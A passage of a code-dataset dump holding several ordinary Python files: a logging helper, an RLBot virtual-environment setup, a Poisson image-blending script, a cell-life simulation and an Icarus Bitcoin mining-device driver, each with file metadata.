None:\n logger = lg.getLogger()\n if not logging.check_handler_name(name, logger=logger):\n file_handler = lg.FileHandler(file_path)\n file_handler.set_name(name)\n file_handler.setFormatter(formatter)\n file_handler.setLevel(level)\n logger.addHandler(file_handler)\n logger.setLevel(level)\n\n @staticmethod\n def set_level(level='info'):\n allowed = {\n 'info': lg.INFO,\n 'warning': lg.WARNING,\n 'error': lg.ERROR,\n 'debug': lg.DEBUG,\n }\n lg.getLogger().setLevel(allowed[level.lower()])\n\n\nclass Logger:\n \"\"\"Logger associate with some object to record processing steps\"\"\"\n\n def __init__(self, silent=False):\n self.log = pd.DataFrame(columns=['time', 'message']).set_index('time')\n self.silent = silent\n\n def info(self, msg, silent=False):\n from datetime import datetime\n self.log.loc[datetime.now()] = msg\n if not (self.silent and silent):\n logging.info(msg)\n\n\nclass Timer:\n \"\"\"Time the process within the scope\"\"\"\n\n def __init__(self, message=None):\n self.message = message if message else 'Time cost: {elapsed_time:.2f} {unit}.'\n\n def __enter__(self):\n self.start = time()\n return None\n\n def __exit__(self, type, value, traceback):\n elapsed_time = time() - self.start\n if elapsed_time < 60:\n unit = 'seconds'\n elif elapsed_time < 3600:\n unit = 'minutes'\n elapsed_time /= 60.0\n else:\n unit = 'hours'\n elapsed_time /= 3600.0\n logging.info('-' * 50)\n logging.info(self.message.format(elapsed_time=elapsed_time, unit=unit))\n\n", "sub_path": "src/yutility/log.py", "file_name": "log.py", "file_ext": "py", "file_size_in_byte": 4025, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.Formatter", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 47, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 53, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 57, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 62, "usage_type": "call"}, {"api_name": "{'sys': 'sys'}.check_handler_name", "line_number": 63, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 64, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 64, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 72, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 76, "usage_type": "call"}, {"api_name": "{'sys': 'sys'}.check_handler_name", "line_number": 77, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 78, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 88, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 89, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 90, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 91, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 93, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 100, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 105, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 105, "usage_type": "name"}, {"api_name": "{'sys': 'sys'}.info", "line_number": 107, "usage_type": "call"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 121, "usage_type": "call"}, {"api_name": "{'sys': 'sys'}.info", "line_number": 130, "usage_type": "call"}, {"api_name": "{'sys': 'sys'}.info", "line_number": 131, "usage_type": "call"}]} +{"seq_id": "634328346", "text": "import sys\nfrom pathlib import Path\nfrom subprocess import PIPE, Popen, run\nfrom threading import Thread\nfrom types import SimpleNamespace\nfrom typing import List\nfrom venv import EnvBuilder\n\nfrom rlbot.parsing.bot_config_bundle import RunnableConfigBundle\n\n\nclass EnvBuilderWithRequirements(EnvBuilder):\n\n def __init__(self, bundle: RunnableConfigBundle, do_post_setup: bool=True):\n super().__init__(system_site_packages=True, clear=False, with_pip=False)\n self.bundle = bundle\n self.do_post_setup = do_post_setup\n\n def post_setup(self, context: SimpleNamespace) -> None:\n if not self.do_post_setup:\n sys.stderr.write('skipping requirements check...\\n')\n return\n requirements = self.bundle.requirements_file\n if not requirements:\n raise ValueError(f'Requirements file was not specified in {self.bundle.config_path}!')\n elif not Path(requirements).exists():\n raise ValueError(f'Requirements file {requirements} was not found!')\n sys.stderr.write(f'Installing {requirements}...\\n')\n sys.stderr.flush()\n\n args = [context.env_exe, '-m', 'ensurepip']\n finished_process = self.run_and_dump(args, timeout=120)\n\n # Install in the virtual environment\n args = [context.env_exe, '-m', 'pip', 'install', '-U', '-r', requirements]\n finished_process = self.run_and_dump(args, timeout=300)\n\n if finished_process.returncode > 0:\n sys.stderr.write('FAILED to install requirements!')\n return\n sys.stderr.write('done.\\n')\n\n def run_and_dump(self, args: List[str], timeout: int):\n finished_process = run(args, cwd=self.bundle.config_directory, capture_output=False, timeout=timeout)\n return finished_process\n\n\ndef setup_virtual_environment(runnable: RunnableConfigBundle):\n if not runnable.use_virtual_environment or not runnable.requirements_file:\n raise ValueError(f'{runnable.name} is not configured for virtual environment support!')\n builder = EnvBuilderWithRequirements(bundle=runnable)\n builder.create(Path(runnable.config_directory) / 'venv')\n", "sub_path": "src/main/python/rlbot/utils/virtual_environment_management.py", "file_name": "virtual_environment_management.py", "file_ext": "py", "file_size_in_byte": 2149, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "venv.EnvBuilder", "line_number": 12, "usage_type": "name"}, {"api_name": "rlbot.parsing.bot_config_bundle.RunnableConfigBundle", "line_number": 14, "usage_type": "name"}, {"api_name": "types.SimpleNamespace", "line_number": 19, "usage_type": "name"}, {"api_name": "sys.stderr.write", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.stderr.flush", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 39, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 41, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 43, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 44, "usage_type": "call"}, {"api_name": "rlbot.parsing.bot_config_bundle.RunnableConfigBundle", "line_number": 48, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 52, "usage_type": "call"}]} +{"seq_id": "607141039", "text": "import numpy as np\nimport scipy.sparse\nfrom scipy.sparse.linalg import spsolve\nfrom skimage.draw import ellipse, polygon\nimport cv2\n\n\ninit = []\ndef click_event(event, x, y, flags, params):\n if event == cv2.EVENT_LBUTTONDOWN:\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(img, \".\", (x, y), font,\n 1, (255, 0, 0), 2)\n cv2.imshow('image', img)\n init.append([x, y])\n\n\ndef creat_mask(img, init, type=\"ellipse\"):\n shape = img.shape[0:2]\n mask = np.zeros([shape[0], shape[1]], dtype=bool)\n init = np.array(init) # initial_points = init\n if type == \"ellipse\":\n r, c = init[0, 1], init[0, 0]\n rr, cc = np.abs(init[2, 1] - r), np.abs(init[1, 0] - c)\n rrr, ccc = ellipse(r, c, rr, cc)\n else:\n r, c = init[:, 1], init[:, 0]\n rrr, ccc = polygon(r, c)\n img2 = 0 * img\n img2[rrr, ccc] = img[rrr, ccc]\n mask[rrr, ccc] = True\n cv2.imwrite('masked.jpg', img2)\n return mask\n\n\ndef blend(img_target, img_source, mask, transfer=(0, 0)):\n y, x = np.where(mask == True)\n x_start = np.min(x) - 2\n x_end = np.max(x) + 2\n y_start = np.min(y) - 2\n y_end = np.max(y) + 2\n window_size = (y_end-y_start, x_end-x_start)\n mask = mask[y_start:y_end, x_start:x_end]\n\n n = window_size[0]*window_size[1]\n A = scipy.sparse.identity(n, format='lil')\n y, x = np.where(mask == True)\n ind = x + window_size[1] * y\n for i in ind:\n A[i, i] = 4\n if i + 1 < n:\n A[i, i + 1] = -1\n if i - 1 >= 0:\n A[i, i - 1] = -1\n if i + window_size[1] < n:\n A[i, i + window_size[1]] = -1\n if i - window_size[1] >= 0:\n A[i, i - window_size[1]] = -1\n A = A.tocsr()\n\n for channel in range(img_target.shape[2]):\n t = img_target[transfer[1]:window_size[0]+transfer[1],\n transfer[0]:window_size[1]+transfer[0], channel]\n s = img_source[y_start:y_end, x_start:x_end, channel]\n t = t.flatten()\n grad_filter = np.array([[0, -1, 0], [-1, 4, -1], [0, -1, 0]])\n b = cv2.filter2D(s, cv2.CV_64F, grad_filter)\n b = b.flatten()\n y, x = np.where(mask==False)\n ind = x + window_size[1] * y\n b[ind] = t[ind]\n x = spsolve(A, b)\n x = np.reshape(x, window_size)\n x[x > 255] = 255\n x[x < 0] = 0\n x = np.array(x, img_target.dtype)\n img_target[transfer[1]:window_size[0]+transfer[1],\n transfer[0]:window_size[1]+transfer[0], channel] = x\n return img_target\n\n\ndef resize(img, coefficient = 1):\n if coefficient == 1:\n return img\n else:\n shape = img.shape\n shape = np.int_(np.array(shape)/coefficient)\n return cv2.resize(img, (shape[1], shape[0]))\n\n\ndef equalize_size(img1, img2, param=\"yes\"):\n if param == \"yes\":\n if np.prod(img1.shape) < np.prod(img2.shape):\n shape = img1.shape\n img2 = cv2.resize(img2, (shape[1], shape[0]))\n else:\n shape = img2.shape\n img1 = cv2.resize(img1, (shape[1], shape[0]))\n return img1, img2\n\n\nimg_source = cv2.imread('1.source.jpg')\nimg_target = cv2.imread('2.target.jpg')\nimg_source, img_target = equalize_size(img_source, img_target, param=\"no\")\nimg_source = resize(img_source, coefficient=1)\nimg_target = resize(img_target, coefficient=1)\nimg = np.copy(img_source)\ncv2.namedWindow(\"image\", cv2.WINDOW_NORMAL)\ncv2.imshow('image', img)\ncv2.setMouseCallback('image', click_event)\ncv2.waitKey(0)\ncv2.destroyWindow(\"image\")\n\nmask = creat_mask(img_source, init, type=\"polygon\")\ninit = []\nimg = np.copy(img_target)\ncv2.namedWindow(\"image\", cv2.WINDOW_NORMAL)\ncv2.imshow('image', img)\ncv2.setMouseCallback('image', click_event)\ncv2.waitKey(0)\ncv2.destroyWindow(\"image\")\ninit = np.array(init)\nimg_ret = blend(img_target, img_source, mask, transfer=init[0, :])\ncv2.imwrite('res1.jpg', img_ret)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3900, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "cv2.EVENT_LBUTTONDOWN", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 24, "usage_type": "call"}, {"api_name": "skimage.draw.ellipse", "line_number": 25, "usage_type": "call"}, {"api_name": "skimage.draw.polygon", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 41, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse.identity", "line_number": 46, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 46, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.filter2D", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 69, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg.spsolve", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.int_", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 93, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 108, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 108, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.setMouseCallback", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 111, "usage_type": "call"}, {"api_name": "cv2.destroyWindow", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 117, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.setMouseCallback", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.destroyWindow", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 124, "usage_type": "call"}]} +{"seq_id": "394858697", "text": "from collections import namedtuple\nfrom copy import copy\nfrom math import ceil\nfrom point import Point, BoundedPoint, Dir\n\nCellCfg = namedtuple('CellCfg', 'nrj appetite')\n\nclass Cell:\n def __init__(self, cfg, dna, dir, pos):\n self.cfg = cfg\n self.dna = dna\n self.gene = dna.get()\n self.dir = dir\n self.pos = pos\n self.nrj = cfg.nrj\n\n def nrjlow(self):\n return self.nrj < self.cfg.nrj * 0.33\n\n def nrjmed(self):\n return not self.nrjlow() and self.nrj < self.cfg.nrj * 0.66\n\n def nrjhigh(self):\n return not self.nrjmed()\n\n def tick(self):\n if not self.gene.tick():\n return None\n gene = self.gene\n self.gene = self.dna.get()\n return gene\n\n def mitosis(self):\n newcells = []\n while self.nrj >= self.cfg.nrj * 2:\n newcell = Cell(self.cfg, copy(self.dna), Dir.rand(), copy(self.pos))\n self.nrj -= self.cfg.nrj\n newcells.append(newcell)\n return newcells\n\nAreaCfg = namedtuple('AreaCfg', 'maxfood tickfood')\n\nclass Area:\n def __init__(self, cfg):\n self.cfg = cfg\n self.food = cfg.maxfood\n\n def take_food(self, food):\n food = min(self.food, food)\n self.food -= food\n return food\n\n def tick(self):\n self.food = min(self.cfg.maxfood, self.food + self.cfg.tickfood)\n\nclass World:\n def __init__(self, cfg):\n self.cfg = cfg\n self.sz = Point(cfg['world.width'], cfg['world.height'])\n self.cellcfg = CellCfg(cfg['cell.nrj'], cfg['cell.appetite'])\n self.areacfg = AreaCfg(cfg['area.food.max'], cfg['area.food.tick'])\n self.ground = [ [ Area(self.areacfg) for _ in range(self.sz.x) ] for _ in range(self.sz.y) ]\n self.cells = []\n self.tickno = 0\n\n def add_cell(self, dna, dir, pos):\n pos = BoundedPoint(pos.x, pos.y, self.sz.x, self.sz.y)\n cell = Cell(self.cellcfg, dna, dir, pos)\n self.cells.append(cell)\n return cell\n\n def tick(self):\n # Ground tick\n for row in self.ground:\n for area in row:\n area.tick()\n # Cells tick\n nextcells = []\n for cell in self.cells:\n area = self.ground[cell.pos.y][cell.pos.x]\n gene = cell.tick()\n if gene is not None:\n cell.nrj -= gene.nrj\n gene.action(cell, area, self)\n nextcells += cell.mitosis()\n if cell.nrj > 0:\n nextcells.append(cell)\n self.cells = nextcells\n self.tickno += 1\n", "sub_path": "life.py", "file_name": "life.py", "file_ext": "py", "file_size_in_byte": 2583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.namedtuple", "line_number": 6, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 36, "usage_type": "call"}, {"api_name": "point.Dir.rand", "line_number": 36, "usage_type": "call"}, {"api_name": "point.Dir", "line_number": 36, "usage_type": "name"}, {"api_name": "collections.namedtuple", "line_number": 41, "usage_type": "call"}, {"api_name": "point.Point", "line_number": 59, "usage_type": "call"}, {"api_name": "point.BoundedPoint", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "65533569", "text": "# Modular Python Bitcoin Miner\n# Copyright (C) 2012 Michael Sparmann (TheSeven)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# Please consider donating to 1PLAPWDejJPJnY2ppYCgtw5ko8G5Q4hPzh if you\n# want to support further development of the Modular Python Bitcoin Miner.\n\n\n\n##################################\n# Icarus worker interface module #\n##################################\n\n\n\nimport serial\nimport time\nimport struct\nimport traceback\nfrom threading import Condition, Thread\nfrom binascii import hexlify, unhexlify\nfrom core.baseworker import BaseWorker\nfrom core.job import ValidationJob\n\n\n\n# Worker main class, referenced from __init__.py\nclass IcarusWorker(BaseWorker):\n \n version = \"theseven.icarus worker v0.1.0beta\"\n default_name = \"Untitled Icarus worker\"\n settings = dict(BaseWorker.settings, **{\n \"port\": {\"title\": \"Port\", \"type\": \"string\", \"position\": 1000},\n \"baudrate\": {\"title\": \"Baud rate\", \"type\": \"int\", \"position\": 1100},\n \"jobinterval\": {\"title\": \"Job interval\", \"type\": \"float\", \"position\": 1200},\n })\n \n \n # Constructor, gets passed a reference to the miner core and the saved worker state, if present\n def __init__(self, core, state = None):\n # Let our superclass do some basic initialization and restore the state if neccessary\n super(IcarusWorker, self).__init__(core, state)\n\n # Initialize wakeup flag for the main thread.\n # This serves as a lock at the same time.\n self.wakeup = Condition()\n\n \n # Validate settings, filling them with default values if neccessary.\n # Called from the constructor and after every settings change.\n def apply_settings(self):\n # Let our superclass handle everything that isn't specific to this worker module\n super(IcarusWorker, self).apply_settings()\n # Pretty much self-explanatory...\n if not \"port\" in self.settings or not self.settings.port: self.settings.port = \"/dev/ttyUSB0\"\n if not \"baudrate\" in self.settings or not self.settings.baudrate: self.settings.baudrate = 115200\n if not \"jobinterval\" in self.settings or not self.settings.jobinterval: self.settings.jobinterval = 60\n # We can't change the port name or baud rate on the fly, so trigger a restart if they changed.\n # self.port/self.baudrate are cached copys of self.settings.port/self.settings.baudrate\n if self.settings.port != self.port or self.settings.baudrate != self.baudrate: self.async_restart()\n \n\n # Reset our state. Called both from the constructor and from self.start().\n def _reset(self):\n # Let our superclass handle everything that isn't specific to this worker module\n super(IcarusWorker, self)._reset()\n # These need to be set here in order to make the equality check in apply_settings() happy,\n # when it is run before starting the module for the first time. (It is called from the constructor.)\n self.port = None\n self.baudrate = None\n# # Initialize custom statistics. This is not neccessary for this worker module,\n# # but might be interesting for other modules, so it is kept here for reference.\n# self.stats.field1 = 0\n# self.stats.field2 = 0\n# self.stats.field3 = 0\n\n\n # Start up the worker module. This is protected against multiple calls and concurrency by a wrapper.\n def _start(self):\n # Let our superclass handle everything that isn't specific to this worker module\n super(IcarusWorker, self)._start()\n # Cache the port number and baud rate, as we don't like those to change on the fly\n self.port = self.settings.port\n self.baudrate = self.settings.baudrate\n # Assume a default job interval to make the core start fetching work for us.\n # The actual hashrate will be measured (and this adjusted to the correct value) later.\n self.jobs_per_second = 1. / self.settings.jobinterval\n # This worker will only ever process one job at once. The work fetcher needs this information\n # to estimate how many jobs might be required at once in the worst case (after a block was found).\n self.parallel_jobs = 1\n # Reset the shutdown flag for our threads\n self.shutdown = False\n # Start up the main thread, which handles pushing work to the device.\n self.mainthread = Thread(None, self.main, self.settings.name + \"_main\")\n self.mainthread.daemon = True\n self.mainthread.start()\n \n \n # Shut down the worker module. This is protected against multiple calls and concurrency by a wrapper.\n def _stop(self):\n # Let our superclass handle everything that isn't specific to this worker module\n super(IcarusWorker, self)._stop()\n # Set the shutdown flag for our threads, making them terminate ASAP.\n self.shutdown = True\n # Trigger the main thread's wakeup flag, to make it actually look at the shutdown flag.\n with self.wakeup: self.wakeup.notify()\n # The listener thread will hopefully die because the main thread closes the serial port handle.\n # Wait for the main thread to terminate, which in turn waits for the listener thread to die.\n self.mainthread.join(10)\n\n \n # This function should interrupt processing of the specified job if possible.\n # This is neccesary to avoid producing stale shares after a new block was found,\n # or if a job expires for some other reason. If we don't know about the job, just ignore it.\n # Never attempts to fetch a new job in here, always do that asynchronously!\n # This needs to be very lightweight and fast.\n def notify_canceled(self, job):\n # Acquire the wakeup lock to make sure that nobody modifies job/nextjob while we're looking at them.\n with self.wakeup:\n # If the currently being processed, or currently being uploaded job are affected,\n # wake up the main thread so that it can request and upload a new job immediately.\n if self.job == job: self.wakeup.notify()\n\n \n# # Report custom statistics. This is not neccessary for this worker module,\n# # but might be interesting for other modules, so it is kept here for reference.\n# def _get_statistics(self, stats, childstats):\n# # Let our superclass handle everything that isn't specific to this worker module\n# super(IcarusWorker, self)._get_statistics(stats, childstats)\n# stats.field1 = self.stats.field1\n# stats.field2 = self.stats.field2 + childstats.calculatefieldsum(\"field2\")\n# stats.field3 = self.stats.field3 + childstats.calculatefieldavg(\"field3\")\n \n \n # Main thread entry point\n # This thread is responsible for fetching work and pushing it to the device.\n def main(self):\n # If we're currently shutting down, just die. If not, loop forever,\n # to recover from possible errors caught by the huge try statement inside this loop.\n # Count how often the except for that try was hit recently. This will be reset if\n # there was no exception for at least 5 minutes since the last one.\n tries = 0\n while not self.shutdown:\n try:\n # Record our starting timestamp, in order to back off if we repeatedly die\n starttime = time.time()\n # Exception container: If an exception occurs in the listener thread, the listener thread\n # will store it here and terminate, and the main thread will rethrow it and then restart.\n self.error = None\n self.hasheswithoutshare = 0\n\n # Initialize megahashes per second to zero, will be measured later.\n self.stats.mhps = 0\n\n # Job that the device is currently working on, or that is currently being uploaded.\n # This variable is used by BaseWorker to figure out the current work source for statistics.\n self.job = None\n # Job that was previously being procesed. Has been destroyed, but there might be some late nonces.\n self.oldjob = None\n\n # Open the serial port\n self.handle = serial.Serial(self.port, self.baudrate, serial.EIGHTBITS, serial.PARITY_NONE, serial.STOPBITS_ONE, 1, False, False, 5, False, None)\n\n # We keep control of the wakeup lock at all times unless we're sleeping\n self.wakeup.acquire()\n # Set validation success flag to false\n self.checksuccess = False\n # Start device response listener thread\n self.listenerthread = Thread(None, self._listener, self.settings.name + \"_listener\")\n self.listenerthread.daemon = True\n self.listenerthread.start()\n\n # Send validation job to device\n job = ValidationJob(self.core, unhexlify(b\"00000001c3bf95208a646ee98a58cf97c3a0c4b7bf5de4c89ca04495000005200000000024d1fff8d5d73ae11140e4e48032cd88ee01d48c67147f9a09cd41fdec2e25824f5c038d1a0b350c5eb01f04\"))\n self._sendjob(job)\n\n # If an exception occurred in the listener thread, rethrow it\n if self.error != None: raise self.error\n\n # Wait for the validation job to complete. The wakeup flag will be set by the listener\n # thread when the validation job completes. 60 seconds should be sufficient for devices\n # down to about 2.6MH/s, for slower devices this timeout will need to be increased.\n self.wakeup.wait(60)\n # If an exception occurred in the listener thread, rethrow it\n if self.error != None: raise self.error\n # Honor shutdown flag\n if self.shutdown: break\n # We woke up, but the validation job hasn't succeeded in the mean time.\n # This usually means that the wakeup timeout has expired.\n if not self.checksuccess: raise Exception(\"Timeout waiting for validation job to finish\")\n # self.stats.mhps has now been populated by the listener thread\n self.core.log(self.settings.name + \": Running at %f MH/s\\n\" % self.stats.mhps, 300, \"B\")\n # Calculate the time that the device will need to process 2**32 nonces.\n # This is limited at 60 seconds in order to have some regular communication,\n # even with very slow devices (and e.g. detect if the device was unplugged).\n interval = min(60, 2**32 / 1000000. / self.stats.mhps)\n # Add some safety margin and take user's interval setting (if present) into account.\n self.jobinterval = min(self.settings.jobinterval, max(0.5, interval * 0.8 - 1))\n self.core.log(self.settings.name + \": Job interval: %f seconds\\n\" % self.jobinterval, 400, \"B\")\n # Tell the MPBM core that our hash rate has changed, so that it can adjust its work buffer.\n self.jobspersecond = 1. / self.jobinterval\n self.core.notify_speed_changed(self)\n\n # Main loop, continues until something goes wrong or we're shutting down.\n while not self.shutdown:\n\n # Fetch a job, add 2 seconds safety margin to the requested minimum expiration time.\n # Blocks until one is available. Because of this we need to release the\n # wakeup lock temporarily in order to avoid possible deadlocks.\n self.wakeup.release()\n job = self.core.get_job(self, self.jobinterval + 2)\n self.wakeup.acquire()\n \n # If a new block was found while we were fetching that job, just discard it and get a new one.\n if job.canceled:\n job.destroy()\n continue\n\n # If an exception occurred in the listener thread, rethrow it\n if self.error != None: raise self.error\n\n # Upload the job to the device\n self._sendjob(job)\n # If an exception occurred in the listener thread, rethrow it\n if self.error != None: raise self.error\n # If the job was already caught by a long poll while we were uploading it,\n # jump back to the beginning of the main loop in order to immediately fetch new work.\n # Don't check for the canceled flag before the job was accepted by the device,\n # otherwise we might get out of sync.\n if self.job.canceled: continue\n # Wait while the device is processing the job. If nonces are sent by the device, they\n # will be processed by the listener thread. If the job gets canceled, we will be woken up.\n self.wakeup.wait(self.jobinterval)\n # If an exception occurred in the listener thread, rethrow it\n if self.error != None: raise self.error\n\n # If something went wrong...\n except Exception as e:\n # ...complain about it!\n self.core.log(self.settings.name + \": %s\\n\" % traceback.format_exc(), 100, \"rB\")\n # Make sure that the listener thread realizes that something went wrong\n self.error = e\n finally:\n # We're not doing productive work any more, update stats and destroy current job\n self._jobend()\n self.stats.mhps = 0\n # Release the wake lock to allow the listener thread to move. Ignore it if that goes wrong.\n try: self.wakeup.release()\n except: pass\n # Close the serial port handle, otherwise we can't reopen it after restarting.\n # This should hopefully also make reads on that port from the listener thread fail,\n # so that the listener thread will realize that it's supposed to shut down.\n try: self.handle.close()\n except: pass\n # Wait for the listener thread to terminate.\n # If it doens't within 5 seconds, continue anyway. We can't do much about that.\n try: self.listenerthread.join(5)\n except: pass\n # Set MH/s to zero again, the listener thread might have overwritten that.\n self.stats.mhps = 0\n # If we aren't shutting down, figure out if there have been many errors recently,\n # and if yes, wait a bit longer until restarting the worker.\n if not self.shutdown:\n tries += 1\n if time.time() - starttime >= 300: tries = 0\n with self.wakeup:\n if tries > 5: self.wakeup.wait(30)\n else: self.wakeup.wait(1)\n # Restart (handled by \"while not self.shutdown:\" loop above)\n\n\n # Device response listener thread\n def _listener(self):\n # Catch all exceptions and forward them to the main thread\n try:\n # Loop forever unless something goes wrong\n while True:\n # If the main thread has a problem, make sure we die before it restarts\n if self.error != None: break\n \n # If there were suspiciously many hashes without even a single share,\n # assume that PL2303 did it's job (i.e. serial port locked up),\n # and restart the board worker.\n if self.hasheswithoutshare > 16 * 2**32:\n raise Exception(\"Watchdog triggered: %.6f MHashes without share\" % (self.hasheswithoutshare / 1000000.))\n\n # Try to read a response from the device\n nonce = self.handle.read(4)\n # If no response was available, retry\n if len(nonce) != 4: continue\n nonce = nonce[::-1]\n # Snapshot the current jobs to avoid race conditions\n newjob = self.job\n oldjob = self.oldjob\n # If there is no job, this must be a leftover from somewhere, e.g. previous invocation\n # or reiterating the keyspace because we couldn't provide new work fast enough.\n # In both cases we can't make any use of that nonce, so just discard it.\n if not oldjob and not newjob: return\n # Stop time measurement\n now = time.time()\n self.hasheswithoutshare = 0\n # Pass the nonce that we found to the work source, if there is one.\n # Do this before calculating the hash rate as it is latency critical.\n job = None\n if newjob:\n if newjob.nonce_found(nonce, oldjob): job = newjob\n if not job and oldjob:\n if oldjob.nonce_found(nonce): job = oldjob\n # If the nonce is too low, the measurement may be inaccurate.\n nonceval = struct.unpack(\"= 0x04000000:\n # Calculate actual on-device processing time (not including transfer times) of the job.\n delta = (now - job.starttime) - 40. / self.baudrate\n # Calculate the hash rate based on the processing time and number of neccessary MHashes.\n # This assumes that the device processes all nonces (starting at zero) sequentially.\n self.stats.mhps = nonceval / 500000. / delta\n # This needs self.stats.mhps to be set.\n if isinstance(newjob, ValidationJob):\n # This is a validation job. Validate that the nonce is correct, and complain if not.\n if newjob.nonce != nonce:\n raise Exception(\"Mining device is not working correctly (returned %s instead of %s)\" % (hexlify(nonce).decode(\"ascii\"), hexlify(newjob.nonce).decode(\"ascii\")))\n else:\n # The nonce was correct. Wake up the main thread.\n with self.wakeup:\n self.checksuccess = True\n self.wakeup.notify()\n else:\n with self.wakeup:\n self._jobend(now)\n self.wakeup.notify()\n\n # If an 